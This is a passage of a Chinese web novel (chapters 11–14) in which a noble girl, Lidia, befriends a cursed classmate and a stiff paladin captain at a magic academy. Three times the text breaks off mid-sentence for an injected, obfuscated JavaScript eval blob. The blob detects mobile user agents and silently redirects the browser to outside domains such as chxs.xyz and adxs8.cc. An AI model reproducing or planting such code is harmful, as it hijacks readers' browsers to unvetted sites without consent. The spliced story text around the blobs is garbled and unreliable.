他已经不记得两人第一次见面的场景了,脑海里对莉迪娅·艾尔顿最深刻的印象,就是徒劳地看着对方一次又一次在他面前死去。 这个女孩的死亡似乎就成了一切不幸的开端。他被迟来一步的圣骑士小队当成最大嫌疑人,被关押进教廷审讯了一个多月才勉强洗清嫌疑。作为补偿,教廷给他一个空降进入神学院的名额,也因此使他在神学院举步维艰。 无论重活多少次,这都是安古因斯不得不经历的事情。 然而这一世,莉迪娅·艾尔顿活下来了。 他没有被教廷带走审讯,像每一个普通学生那样安安稳稳地入学就读,没有在最开始就被其他学生刻意针对—— 这让安古因斯困惑极了。 一切变数都从那个女孩开始,他决定从她身上寻找原因。 针对他灵魂的诅咒侵蚀了他的神志,这一世他已经几乎无法控制自己的身体,稍有不慎就会被迫变成一条只有成年人手指粗细的小蛇,连思维也会被同化成兽类。 于是借着某天晚上诅咒发作的机会,安古因斯偷偷潜入了艾尔顿庄园。 他知道变成蛇的自己多多少少有些……愚蠢,但是他没想到变成蛇之后他会变得那么不知廉耻。 他贪恋热源,无法拒绝女孩的投喂,接连三天潜入她的房间,还恬不知耻趴在她的枕头旁听着她的呼吸声安然入眠。 差一点,安古因斯就要像一只真正的魔兽那样向她认主了。 “喂,你。”主动过来找他的小贵族上下扫视打量他,视线在他的脸上额外停留了几秒,“难怪能被看上……你,跟我走,艾尔顿小姐要见你。” 不等安古因斯做出反应,其他偷偷观察情况的特招生们先齐齐倒吸一口凉气。 人群中立刻传来小声但清晰的嘀咕。 “难怪他平时那么傲,原来早就攀上大贵族了。” “嘘,那也是他的本事,你要有他的天赋他的脸,你也能去贵族小姐面前试一试。” 安古因斯:…… 明明应该是他被排挤的场合,但是场面好像一点都不压抑。 他那因为诅咒而迟缓生锈的脑袋缓慢思索起来。 以前大家是怎么说他的?说他是传说中会带来厄运的不祥之人,说他的黑发是他被黑暗侵蚀的象征,说他的出现会使神明降下灾厄。 如果不是教廷中有人力排众议保证他的无辜,安古因斯估计早就死在各大贵族权力斗争的漩涡中了。 但从来没有人会关注议论他的长相。 五官精致的少年面无表情抬手摸了摸自己的脸颊,明明是平静淡然的眉眼,旁观者却硬生生从这个动作中看出了浓浓的炫耀。 “啧,看那小子真不爽。”望着两人离去的背影,一个特招生说,“不就是有个漂亮脸蛋,连句话都不屑和我们说,真装啊。” 周围人忍不住连连点头。 真不是他们集体排挤安古因斯,他顶着第一名的成绩入学,不出意外就是这届特招生中的带头人。大家都想和他打好关系,可是安古因斯目中无人,吝啬到一句话都不愿意和他们多说。 不是谁都有勇气用热脸去贴冷屁股的,特招生们望着安古因斯那生人勿进的孤僻气场面面相觑,小贵族们更不可能拉下脸来主动和一个平民说话。 这才造成安古因斯以第一名的成绩正常入学却依旧游离在人群之外的现况。 当然,曾经的传闻,这一世也依旧出现了。 “可是你们不觉得他的头发真的很奇怪吗。”人群中,有个小小的声音,“是黑色哎……传说,黑色头发的人会带来厄运和灾祸。” 人群骤然安静了一瞬。 说话的人神色惶惶,又慌忙找补:“我、我不是说他不好,只是突然想起这个传说……” 他也知道自己说这话很不合时宜,声音越来越小,懊恼自己怎么突然提起那个全大陆小孩都听说过但从来没有人会当真的传说。 “不是吧,你还真信这种传说啊。”最开始说话的特招生撇嘴,“不就是个黑色头发而已,我大舅家三表哥的邻居的女儿养的狗的朋友的主人头发颜色也很黑,也没带来厄运啊。” “是啊是啊,而且我看安古因斯也不是纯黑色的头发,有时候看着像很深的墨绿色。” “要是他真的会带来不幸,怎么可能会有一入学就被贵族小姐看上这种好事。说不定下次再见到他,他都能被赐予姓氏了。” “明明我的天赋也不差……要是我也能长成他那样就好了。” 柠檬树下柠檬果,柠檬树前你和我。 安古因斯还不知道自己在圣罗帝亚的名声即将从“被诅咒的不祥之人”往“运气超好的小白脸”演变,他被一路带到莉迪娅和伊芙面前,顶着伊芙毫不掩饰上下扫视打量的视线,木愣愣站在原地发呆。 事件的发展已经超出过去所有周目的经历,安古因斯这颗因诅咒时灵时不灵的脑子刚好在此刻宕机。 这副模样落在围观群众眼中,却是他宠辱不惊、气定神闲的表现。 “好一个清高的第一名。”有人嘀咕,不由得高看他一眼,“这种淡定,普通人确实少有。” 伊芙也在心里默默拔高了对安古因斯的评分。 就这淡定的神情,从气质上来说,确实已经高出普通人一截了。 但阶层的跨越,不是简简单单靠一张脸、一点微不足道的恩情就可以达成的。 面对外人,伊芙可不想在莉迪娅面前那么温柔和善:“你就是安古因斯吧,听说今年的入学测试,你这个第一名比第二名多了足足三十七个积分。” 她上下打量,挑剔的眼神从安古因斯的长发扫到脚上沾染些许尘土的鞋面,最后轻佻又锐利地直直盯着他的眼睛。 “看起来也没什么本事,这分数是你自己拿到的吗。” 这是上位者惯用的手段,一种服从性测试,先不痛不痒地贬低一番,好让这些平民认清楚自己的身份。 要是他面露不忿,那就要打碎他那不值一提的骄傲与自尊,再慢慢将他训成一条听话温顺的家犬。 放在前几世,热血少年安古因斯抱着对世界的憧憬与期望,抱着想要为国家效力的天真幻想,面对上位者毫不掩饰的羞辱轻蔑,是一定会骄傲地挺直脊梁,不愿意在贵族面前做小伏低的。 但这一世,思维分外迟钝的被诅咒版·安古因斯,面对大贵族的打压,只是面无表情地歪了歪头以示不解。 叽里咕噜在说什么,他听不懂。 外表看起来非常清高孤傲的美少年,当着众人的面温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041615|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺地垂下眼帘,仿佛没听到那些打压的言论,又仿佛生来就是乖巧听话的模样。 贵族确实更喜欢这种懂事的小漂亮。 伊芙对他的表现很满意,这时候才放开莉迪娅,像确认完领地安全的狮王,任由自家让人操心的小狮子去扑咬猎物。 莉迪娅眨眨眼,对上安古因斯毫无波澜的眼神,没由来一阵心虚。 只有她自己知道所谓的友善帮助都是信口胡诌,真相是安古因斯可能已经彻底忘记她这个一面之缘的路人了…… 但是她不能在这个时候露怯! 否则,好不容易想到的帮助安古因斯,找机会和他成为好朋友的计划刚开了个头就要中道崩殂了。 莉迪娅清清嗓子,非常沉稳:“很高兴在这里看到你,安古因斯。” 面对金发碧眼的美丽少女,安古因斯总算说出了他在贵族们面前的第一句话。 “嘶……嗯。” 殷红的舌尖探出一点点,在接触到空气中的信息之后飞快缩了回去。 那声“嘶”听起来像是被莉迪娅主动搭话的受宠若惊。只有安古因斯自己知道,此刻在他舌尖萦绕的气息,足以令他瞬间倾倒臣服。 冷静点。 他极力克制险些冲破而出的魔兽本能。 神游天外的思绪总算回归了一丝丝,安古因斯望进那双碧绿色的眼睛,想起了自己的目的。 她是变数,要打探她身上的异常。 这个念头在脑海里转了一圈,下一秒自动变成了另一句话。 要留在她身边。 伊芙对安古因斯的初步考察还算满意。 看起来是个有点天赋有点脑子的小漂亮,勉强算得上进退有度,虽然没有外表看起来那么清高有傲骨,但大体带在身边可以撑起一点场面。 可以说是比较合心意的一类特招生了。 在她的默许下,安古因斯不用回到特招生的队伍里,成功在神学院的队伍里有了一席之地。 哪怕他现在还没资格踏入中心圈层,只能站在最末尾静静观望,也足够令人羡慕了。 能够得到一位公爵继承人的认可,安古因斯的地位瞬间有了很大的提升。 有脑子转的快的朝他露出笑脸,暗暗示好,也有心存不满的私下嘀咕:“还以为起码有点骨气吗,没想到招招手就能摇尾巴。” 有人调侃:“怎么?你很失望吗。” “无聊而已,要是来个硬骨头多有意思,比起这种一上来就摇尾巴的,我更喜欢把那些会咬人的野犬打服。” “啧,真是恶趣味啊——别想了,这个已经是艾尔顿伯爵的人了,别怪我没提醒你。” 无论黑暗中有多少双窥探的眼睛,此刻也只能暂时偃旗息鼓,不敢和几位大贵族继承人对着干。 莉迪娅还不知道自己已经成功让安古因斯躲过了许多利爪,她看到安古因斯孤孤单单可怜兮兮坠在队伍最后面,瞬间开始反思自己是不是做了错事。 她是想帮助他融入集体……可是怎么努力过后,只是把他从一个集体边缘拉扯到了另一个集体边缘? 清瘦高挑、五官精致的少年,苍白肌肤在毒辣阳光的照射下莹莹泛白,长及腰间,如绸缎般的黑发使少年有了雌雄莫辨的破碎感。 可把莉迪娅心疼坏了! 12. 第 12 章 “莉兹,回神了。”舌尖一顿,伊芙亲昵地喊着莉迪娅的昵称,悠悠道,“就这么想把他留在身边?” “哎?等等,我不是……”意识到自己的行为太容易引起误会,莉迪娅涨红着脸辩解,“不是因为那些……我只是,想和他做朋友。” “好吧,只是朋友。”伊芙摊手,“那么,我亲爱的莉迪娅,谁才是你最好的朋友?” “当然是伊芙!”莉迪娅毫不犹豫,“伊芙永远是我最好最好的朋友!” 糟、糟糕。 脸颊飘起微不可查的红晕,被一记直球打中的伊芙干咳一声,掩饰过快的心跳:“教廷的人来了。” 近几年,各地魔兽暴乱频发,教廷的高级牧师在各个城镇的教堂之间奔波,十二圣骑士长更是永远在前往压制魔兽暴乱的路上。 因此,这次教廷能派出两位高级牧师和一位圣骑士长前来圣罗帝亚进行实战演练,可以说是罕见的好机会。 哪怕是神学院,这一回也只能根据教廷给出的时间来到场地,等待共同授课。 两位高级牧师眉眼间有着隐藏不住的疲倦,听说刚回到王城就马不停蹄前来授课,当着众人的面,两人先互相施展了一个“清风之息”,状态肉眼可见的轻松许多。 “这是从微风中领悟到的魔法,只有学会感受风的形状,才能成功施展‘清风之息’。” 这些魔法听起来很简单,想要学会却很难。不同的魔法需要不同的感悟,光有元素亲和力只是拥有了开启魔法世界的大门的钥匙,想要踏入魔法的世界,还需要从自然中领悟力量。 在这一点上,从小就在接触魔法的贵族要比平民更有优势。一个“清风之息”,特招生们第一次听到大魔法师对它的讲解,神学院的学生们却多多少少接触过这类领悟分析。 一个贵族学生听得百无聊赖:“就这些……也值得我们大费周章在这里等着?” 说话声音不大,但也没有刻意压低音量,周围人都听到了,也包括台上离众人不愿的高级牧师。 有人打头,原本还算安静的气氛立刻被打破了。 “早知道我也不来了……还是威斯夫特少爷有先见之明。” “白期待这么久,还以为能听到什么高级咒语。” 两个高级牧师面面相觑,他们两人是小贵族出身,在神学院这些大贵族后代面前,谁都得罪不起。 面对神学院内部的骚乱,伊芙微微皱眉,谨慎地审视每一个人。 她和赫尔曼,卡德蒙家族和威斯夫特家族之间还没分出胜负。这场骚乱就是威斯夫特的人对她的挑衅。如果不能及时压制局面,这一次恐怕要被威斯夫特压一头了。 但她不能在这个时候站出来,只是一些微不足道的牢骚,如果连这种局面都需要用卡德蒙继承人的身份来掌控,她对神学院的控制也就到头了。 那么—— 余光扫过周身。 谁站出来更合适? 伊芙首先想到的就是安古因斯,一个合格的、应该在此刻效忠的棋子。至于他会不会因此遭受针对,那不在她的考虑范围内。 但在伊芙做出行动之前,一个柔软又不失力量的声音先响了起来。 “可我觉得老师说的很好。” 看着站在台上不知所措的两位高级牧师,莉迪娅鼓起勇气,大声说:“我从来没有听过对‘清风之息’的讲解,我觉得两位老师说的很有帮助。” 她用水润的、亮晶晶的眼神望向两位年轻的高级牧师:“除了‘清风之息’,一定还有更高级的咒语吧!” “……是、是的,我们还准备了其他类型的咒语,‘晨曦的光芒’,三级咒语,从永夜的黎明中感悟到的魔法,”牧师连忙演示,”在带走疲倦的同时还能扫除黑暗与恐惧,带来充沛的能量。” 她举起法杖,柔和的水元素从法杖顶端开始蔓延,形成一条蜿蜒的水迹,以莉迪娅和伊芙为中心向周围扩散。 “效果真的比清风之息好很多,”有人惊呼,“不光扫除疲倦,还能恢复体力。” “是的,虽然只是三级咒语,但是‘晨曦的光芒’是只有信仰光明神才能成功施展的咒语,任何黑暗都会在它面前消退。”高级牧师进一步解释,“我曾经无法理解这个咒语的含义,直到我前往永夜之地,在那里见证了光明的初升……可惜我只有水元素亲和力,没办法发挥出这个咒语全部的力量。” 既然教廷派她们来教导圣罗帝亚的学生,两位牧师当然不会私藏。只是教学也要讲究由浅入深,一开始就直接教导只有高级牧师才能施展的一级咒语,别说特招生们,恐怕连神学院的学生们都没办法得到领悟。 被打断的教学重新开始,两位高级牧师从五级咒语开始讲解,将好几个效果相似但等级不同的咒语放在一起比较,层层递进。第一次接触咒语解析的特招生们有机会学习简单咒语,神学院的学生们也能领悟到好几个来自高级牧师言传身教的高级咒语。 这真是…… 伊芙心情复杂,看向目光专注,正在认真听讲解的莉迪娅,在她疑惑回望的眼神中轻声浅笑。 “莉兹,超级厉害哦。” 虽然不知道发生了什么,但是被夸了! 莉迪娅努力想表现得谦虚些,但情不自禁扬起的嘴角和不自觉挺起的胸膛已经将女孩雀跃的心情完美传递出来。 “也没有啦,”她捧着脸嘿嘿一笑,“只是想帮帮她们。” 两位高级牧师的授课渐入佳境,在她们的看护下,天赋出众的学生们还尝试了几个高级咒语。 莉迪娅特地赶回教室,勇敢面对可恶的威斯夫特才拿到的项链派上了用场,原本的魔力不足以支撑她尝试高级咒语,在项链的加持下,她隐隐有了新的感悟。 授课结束后,两位高级牧师匆匆离开,似乎又接到了什么任务。 接替她们的卷发青年在台前站定,右手放在胸前,朝众人深鞠躬。一板一眼地行完礼之后,他摆出了一个标准的战斗姿态。 和辅以语言讲解的牧师不同,这位被教廷委派来授课的圣骑士长一言不发,先干脆利落地在众人面前展示剑术。 剑刃自上而下划破虚空,锋利的剑尖在主人的指挥下向前刺去,几个回合后,剑身猛然一抖格挡在胸前,随着灵活变化的步伐,使出了一套流畅华丽的剑法。 “有点眼生,教廷怎么随便派个圣骑士长来敷衍我们。” “他啊,我知道,是神子养的乖狗狗。”有个女生轻蔑一笑,“是‘鼎鼎有名’的路西恩队长哦。” 听到熟悉的名字,莉迪娅耳朵一抖,连忙伸着脖子凑过去旁听。 她对路西恩的了解不多,只知道他是一位真正的正直善良的骑士,在被哥哥带回家之后,她也迂回地向可靠的兄长大人打听过路西恩的消息,却被诺克提斯告知这位圣骑士长藉藉无名,不被教廷重用,完全没有交好的必要,让她不必多花心思。 怎么会这样? 在莉迪娅的想法里,能成为主角拯救世界的人,能力一定很强。尤其简介上对路西恩的评价还是“绝对公正”,那他一定具备了骑士该具备的所有美德吧! 这样的人,怎么会藉藉无名。 可哥哥不会骗她啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041616|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,莉迪娅私下琢磨到大半夜,决定把问题归结到教廷头上。 一定是教廷里面有坏人! 现在就是一个打听消息的大好时机。 莉迪娅超不经意间随口询问:“拉斐尔小姐也认识他吗?” “是啊,不就是一个有点姿色的家伙,居然敢拒绝我姐姐,能被我姐姐看上是天大的荣幸,他真是不知好歹,要我说就该一杯酒——”被问到的女生扭头看到莉迪娅,紧急改口,“要我说现在的神子的手还是伸得太长了,往圣骑士小队塞人就算了,居然连队长的位置都要分一杯羹……” 华莉丝·拉斐尔,一个有着亮丽红发的高挑贵族小姐,拉斐尔伯爵的次女。虽然她拉斐尔家族的立场隐隐偏向威斯夫特,但华莉丝同时也和伊芙交好,更是对莉迪娅照顾有加。 低头对上莉迪娅那双纯真又充满求知的绿眼睛,华莉丝实在没办法当着她的面将那句非常少儿不宜的话说出口。 华莉丝绝对相信,莉迪娅被艾尔顿伯爵保护得严严实实,可能连现在王城贵族女子之间流行收用圣骑士这件事都不知道。 她瞥一眼伊芙和善的微笑,继续为莉迪娅解释:“他是十二圣骑士长中唯一一个平民出身,还深受神子器重的。现在这位神子虽然很少出现在人前,但在民间的声望不比教皇低,十二圣骑士长中起码有三分之一已经提前向神子效忠。 “至于这些圣骑士长……咳,基本都与贵族交好,当然主要是和年轻贵族女士——我姐姐曾经就看上、看中了路西恩的潜力,没想到这个路西恩没有背景却自视甚高,居然敢当众拒绝我姐姐!” 华莉丝和姐姐关系很好,因此提起路西恩时免不了有许多不满。 她着重说了路西恩在教廷的尴尬地位,说了他这个人古板固执不会看人脸色,最后总结:“总之,莉迪娅,比他好的圣骑士多得很,没必要看这个一点背景都没有的家伙。” 原来路西恩在教廷的日子这么艰难! 莉迪娅更觉得自己先前对路西恩的态度实在是太差了。 她忍不住回头看了一眼在人群边缘显得非常凄凉无助的安古因斯,又看了一眼即便没什么人听还在恪尽职守一板一眼教学的路西恩,深切地对整个圣罗帝亚学校的未来产生了巨大的担忧。 这样不好。 聪明勇敢的莉迪娅决定自救。 她用比刚才还要热烈专注的目光虔诚注视着路西恩,哪怕她对剑术一窍不通、对骑士守则也一知半解,但她对路西恩骑士长的尊敬,有目共睹! 有着柔软卷发的骑士对旁人的窥探极其敏锐。 几乎是莉迪娅看向他的下一秒,路西恩就察觉到了那股灼热的视线。他警惕地朝人群望去,在捕捉到那双美丽的碧绿眼睛的一瞬间,飞快又窘迫地垂下眼帘。 是她。 薄唇轻抿,早就习惯各色注视的骑士长居然有几分不自在,连手上的招式都有些僵硬。 他接受教廷的安排来圣罗帝亚学校,并没有穿平时外出常穿的盔甲。白底金边的骑士服勾勒出青年挺拔匀称的身形,装饰用的细长金链贴在胸前,坠出一个完美的弧度。黑金腰带在腰部收拢,过长的衣袍从腰腹处开始分离,衣摆垂落至青年的小腿处,将被黑色长裤包裹的双腿衬得更加修长。 平心而论,这不是一件适合战斗的服装。但教廷规定,出席公众场合必须穿这套能将教廷的颜面撑起来的骑士服。 路西恩作为常年奔波在外清除魔兽的骑士长,几乎没怎么穿过这套衣服。而此刻,他在这股无法忽视的目光中,只觉得这套量体裁衣的衣服都变得不合身了。 13. 第 13 章 本就沉着冷静的眉眼,看上去更加肃穆了。 尽管始终在告诫自己不要被外界干扰,但在那已经让他无所遁形的注视下,路西恩到底还是极其谨慎地朝那个方向看了一眼。 人群中,女孩的个子并不算高,但那柔软的金色长发却分外显眼。 温柔美丽的绿眼睛里倒映着天空和他的身影,路西恩像被烫到似的收回目光,表情愈发严肃。 莉迪娅完全不知道路西恩的心理活动。 她只能看到正直的圣骑士长先生极其庄重地完成了授课,哪怕刚刚演示完一套非常非常复杂的剑法,对方的气息依旧平稳绵长,体力好的令她惊叹。 从小体弱多病的女孩忍不住跟着比比划划,才抬了两下胳膊就觉得有点力不从心了。 她轻喘着气,羡慕的眼神扫向圣骑士长先生那被黑色长裤包裹的一看就充满力量的腰腹和常人难以企及的大长腿。 只是不知道是不是她的错觉,总觉得演练结束的时候,圣骑士长先生好像站得离她更远了一些? 下午除了实战演练之外没有别的安排,学生们三三两两散去,莉迪娅难得没有和伊芙一起走,想趁这个机会再好好向路西恩道谢。 她犹豫踌躇的模样太过明显,伊芙了然一笑:“想和安古因斯说会儿话?” 莉迪娅满脸纠结地摇了摇头。 “我想找那位圣骑士长先生。”她非常诚实,“他也救过我,要不是他及时赶到,我肯定会被魔兽撕成碎片的!” 伊芙停顿了一秒:“哦——哦,原来是他。” 她看了一眼站在两人身后的安古因斯,又看了一眼远处匆匆离场只余一个背影的路西恩,默默比对了一下这两个人的区别。 嗯……果然现阶段还是青年骑士更有味道一点,再加上圣骑士长的名头,也难怪小莉兹更想和骑士说说话。 按照书中的描写,这个时期路西恩不会在王城长住,莉迪娅能和他接触的机会少之又少,为了抓住这来之不易的相处时间,她和伊芙匆匆打过招呼,百忙之中不忘朝安古因斯友好一笑,之后立刻朝路西恩离开的方向追去。 女孩小跑着离开,仅从背影就可以看出她的急切与雀跃。 “莉兹啊……”伊芙发出略带欣慰的感叹,紧接着瞥了一眼身后一言不发的黑发少年,低声警告,“管好你的眼睛。” 安古因斯将目光从那道耀眼的身影上挪开,低眉顺眼地点点头。 另一边,莉迪娅小跑了好一段路,才勉强追上了准备离开的圣骑士长先生。 “请……请等一等,路西恩队长。” 短暂的活动让女孩的双颊染上绯色,发间也有些细汗,蓬松的卷发披在身后,只有几缕金发不大安分地黏在侧脸。 路西恩站定,侧身,看到朝自己小跑而来的少女,在对方急急忙忙停下脚步,不慎绊了一跤的时候上前,礼貌而克制地扶着她的手臂将人带起,不动声色扫过被飞扬又落下的裙摆遮掩的膝盖,后撤一步拉开距离。 “请小心些。”青年低声轻语。 “抱、抱歉。”莉迪娅不好意思地捂了捂脸,又困惑地摸了摸额头。 奇怪,刚才好像碰到了什么有点软又有点硬的东西……是不小心撞到骑士长先生了吗? 她的视线平移过去,看到青年身前被白色衣服包裹又完美展现出来的微微鼓起,又赶紧摇摇头晃开脑海中乱七八糟的念头。 应该只是错觉。 她仰头看向卷发青年,提起裙摆微微屈膝:“路西恩队长,您还记得我吗?” 青年温声道:“好久不见,艾尔顿小姐。” 这还是他们第一次有如此安静、友好的会面。 莉迪娅仰头看他:“能再见到您,我很开心。” 女孩的情感直白又热烈,再次相遇的欣喜不加掩饰,哪怕是迟钝如路西恩,也能轻易从她的双眼中读出这些情愫。 和初次见面时相比,她的胆子大了很多。 路西恩始终无法忘记那天,在那个队伍里看到的可怜又弱小的女孩,虽然穿着一身华贵的长裙,可她就像是还未完全长出羽翼就被狂风从巢穴中垂落的雏鹰,虽然有着翅膀与利爪,但她完全不会使用这些武器。 他低头看向她,扫过她有些红印的额头,随后恭敬地将视线凝在她的鼻尖:“能见到您是我的荣幸。” 青年的态度疏离又冷淡。 这让莉迪娅瑟缩了一下,鼓起的小小的勇气像被一根又尖又细的小针戳了一下,“噗”的一声,散了大半。 她后知后觉回忆起来,虽然这些日子,她已经下定决心要和主角团的大家成为好朋友,但一直只是她单方面的决定——她甚至直到现在都没能和他们中的任何一个连续说超过二十句话! 哪怕是和她接触最多的路西恩,两人之间更多的相处也都是争执和她对他的迁怒。 怎么想都没办法给他留下好印象吧! 意识到这一点,莉迪娅顿时觉得自己的双腿有点打颤了。 她是不是被路西恩队长当成蛮横无理还恣意妄为前来纠缠的恶毒大贵族了? 不、不要啊。 莉迪娅欲哭无泪,抬头望着骑士先生平静冷淡的眉眼,抿了抿嘴,声音细细小小:“路西恩队长,您、您会讨厌我吗?” 不等对方回答,她立刻接上后半句:“我真的不是故意想违反规定,我只是、只是太害怕了——” “对不起。” 女孩偷偷观察他的神色,再次为自己先前的错误道歉。 路西恩一时间不知道该说什么。 在他看来,先前的事情其实已经过去了。毕竟在他面前的是一位贵族淑女,贵族有足够的特权,而淑女也有任性的权利。 他看向莉迪娅:“您无需向我道歉,艾尔顿小姐。” 又是这句话。 他又没有接受她的道歉。 莉迪娅有些泄气,不明白为什么自己的行为没有得到预想中的结果。 但紧接着,她听到青年主动询问:“希望那次意外没有给您带来困扰。” “没有没有,没有什么困扰的,我很好很好。”她快速摇头,又猛点头,生怕回答慢了被误以为有所不满,“你来的很及时,我一点伤都没有!” 尾音扬起,带着少女特有的天真莽撞。 很少有人能抗住女孩的主动亲近。 如果站在这里的是雷文——另一个曾经和莉迪娅有过一面之缘的圣骑士长——他一定会眨着他那双多情的桃花眼,挑起眉毛对她轻佻一笑,然后单膝跪地行一个不大规矩的吻手礼,再浅笑着说上一句:“能为您战斗,是我的荣幸。” 但路西恩不会,也做不到这些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15046586|162554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他是这个时代少有的仍严格恪守着骑士准则的绅士,甚至足以被评价一句古板固执。哪怕是在四下无人的时候,他依旧会与淑女保持绝对安全的社交距离。 卷发青年轻轻应了一声之后就没再说话。 气氛变得沉寂而古怪。 莉迪娅的勇气早在道歉的时候就消耗殆尽,她低头望着自己的裙摆,又看向不知道什么时候已经离她有一段距离的黑色长靴,沮丧地觉得自己的计划好像从一开始就已经失败了。 先是和记忆中截然不同、性情大变冷酷无情的赫尔曼·威斯夫特,再是从一开始就彻底得罪怎么都没办法接近的路西恩队长,好像无论她怎么努力,她的身份都已经和邪恶大贵族这几个字死死绑在一起。就算她努力活下来,以后像书里写的那样突然死掉只是或早或晚的事情。 “请您原谅我的愚钝。” 在阳光无法触及的繁茂枝叶的阴影下,透过朦胧的泪眼,她看到高大的青年在她面前单膝跪地,右手放在胸前,声音也变得前所未有的温柔:“让您哭泣是我的失职,艾尔顿小姐,请您原谅我的错过。” 讨、讨厌。 莉迪娅接过他递过来的手帕,抽抽搭搭擦着不知道什么时候冒出来的眼泪,觉得丢脸极了。 明明没有那么想哭的,明明只是有一点点难过,可是听到他状似无奈的叹息,听到他的安慰,眼泪就像开了闸,突然止不住地往外冒。 呜呜,好丢脸。 她用温热的手帕盖住眼睛,破罐子破摔想着自己的形象一定已经糟糕透顶了。 路西恩比她还要懊恼。 又让她哭泣了。 青年无措地呆立在原地,她低着头,他看不到她哭泣的双眼,却能看到她面前那块土地上的点滴湿痕。 是因为他语气太生硬了吗? 路西恩没有太多和这个年纪的女孩相处的经验,更没有安慰一个正在哭泣的女孩的经历。 他只好拙劣地学着曾经见过的自己的友人的模样,单膝跪在她身前,笨拙地说着自己也觉得没什么作用的空话。 也许他应该献上一个吻手礼。 他回忆着骑士守则,垂眸漫无边际地思索。他曾见过许多骑士,用这一招哄好了他们的女孩。一个从前象征忠诚与恭敬,而现在往往用来哄女孩开心的吻手礼。 也许他也应该这么做,无论如何,总不能放任一位淑女在他面前哭泣。 但路西恩迟迟没有动作。 他僵持着,正如他那被无数次批判固执古板的老旧思想。 在不算太过漫长的沉默中,莉迪娅率先整理好了自己的心情。她捏着手帕,很不好意思地看着路西恩。 “对不起,我其实没有很伤心的。”她小声为自己辩解,“只是刚才突然被沙子迷了眼睛……” “让您哭泣,是我的失职。”青年语气沉稳,仍维持着先前的动作。 这是他的过错,是他没能做到一个骑士该有的品德,一而再再而三让一位淑女在他面前哭泣。 他总在惹她伤心。路西恩沉默不语。他愿意接受她的任何惩罚。 一只白净的手伸到他面前。 “好吧。”她说,“没关系,我原谅你了。” 于是青年轻轻握住她的手,轻轻覆上她的手背,在自己的拇指上落下清浅而珍重的一吻。 14. 第 14 章 那场谈话之后,路西恩就离开王城前往各地处理魔兽暴动的事情,短时间内应该不会回来。 莉迪娅自觉和路西恩的关系已经顺利化干戈为玉帛,虽然还没到亲如挚友的那一步,但是已经顺利成为可以交换礼物的普通朋友了! 嗯?什么时候交换的礼物? 当然是在路西恩托人将第一次见面时没收的那盒首饰送回来的时候,莉迪娅非常机智的从哥哥那里翻出两块崭新的丝绸手帕,仔仔细细包装好送给路西恩作为回礼。 她才不管那盒严格来说只是物归原主的首饰能不能被称为礼物,总之,莉迪娅在给路西恩的回礼道谢的信件中,相当霸气地称呼他为“我亲爱的朋友路西恩队长”,并非常有礼貌地再次道谢,“感谢您送给我的礼物,这令我万分欣喜”,“愿您安康,期待不久后与您相见”。 没想到还会收到回礼的路西恩将带有艾尔顿家族徽章的手帕妥帖收好,又坐在书桌前仔仔细细端详裁剪精美、还带着香味的信纸。 这是他第一次收到来自贵族小姐的礼物和信。 按照礼节,他是不是应该写一封回信表达感谢? 平民出生的圣骑士队长从来没了解过这些礼仪,他犹豫片刻,起身去找好友雷文。 雷文正巧也在房间里收拾东西。 和将教廷准备的房间当成住所的路西恩不同,雷文只将这里当做一个休息间,房间里有人居住的痕迹并不多,反倒堆放了不少精美的物品。 见来人是路西恩,雷文双脚架在书桌上,身体向后一倒,椅子的两条腿悬空,剩下两条后腿在青年那并不轻盈的体重的压迫下,发出不堪重负的声响。 “坐。”雷文懒懒散散,手里把玩着一柄精美小巧的匕首。 路西恩看了一圈屋内的摆设,走到床边坐下,腰背挺直,双手放于膝上。 “有一件事,想请你帮忙。” “嗯哼。” 路西恩看了看他,一时间没能将自己的请求说出口。 他不说话,雷文反倒来了兴致,侧头上下打量他,随口调笑:“怎么,难不成去圣罗地亚转了一圈,又被人硬抢了?” “她不会这么做。”路西恩矢口否认,又顿觉刚才有些失态,“只是想请教你一些礼节上的问题。” 然而雷文已经嗅到了八卦的气息。 “谁?”他将匕首随处一扔,一改刚才懒散的样子,也不晃椅子了,目光炯炯,“谁?” “……艾尔顿小姐。” 稍加思索,雷文就从记忆中翻找出了那个金发碧眼的身影。 “啧啧啧。”他对着路西恩一顿咋舌,“大名鼎鼎的路西恩队长,正义凛然的路西恩队长。” “是非常正常的合乎礼节的往来。”路西恩面无表情看着他,强调,“为我的失职与鲁莽道歉。” “为我的失职与鲁莽道歉~”雷文怪声怪气重复,踩着路西恩的底线反复横跳,“我怎么不知道你还有私下和贵族接触的爱好。” 路西恩开始觉得来找他是个错误的决定。 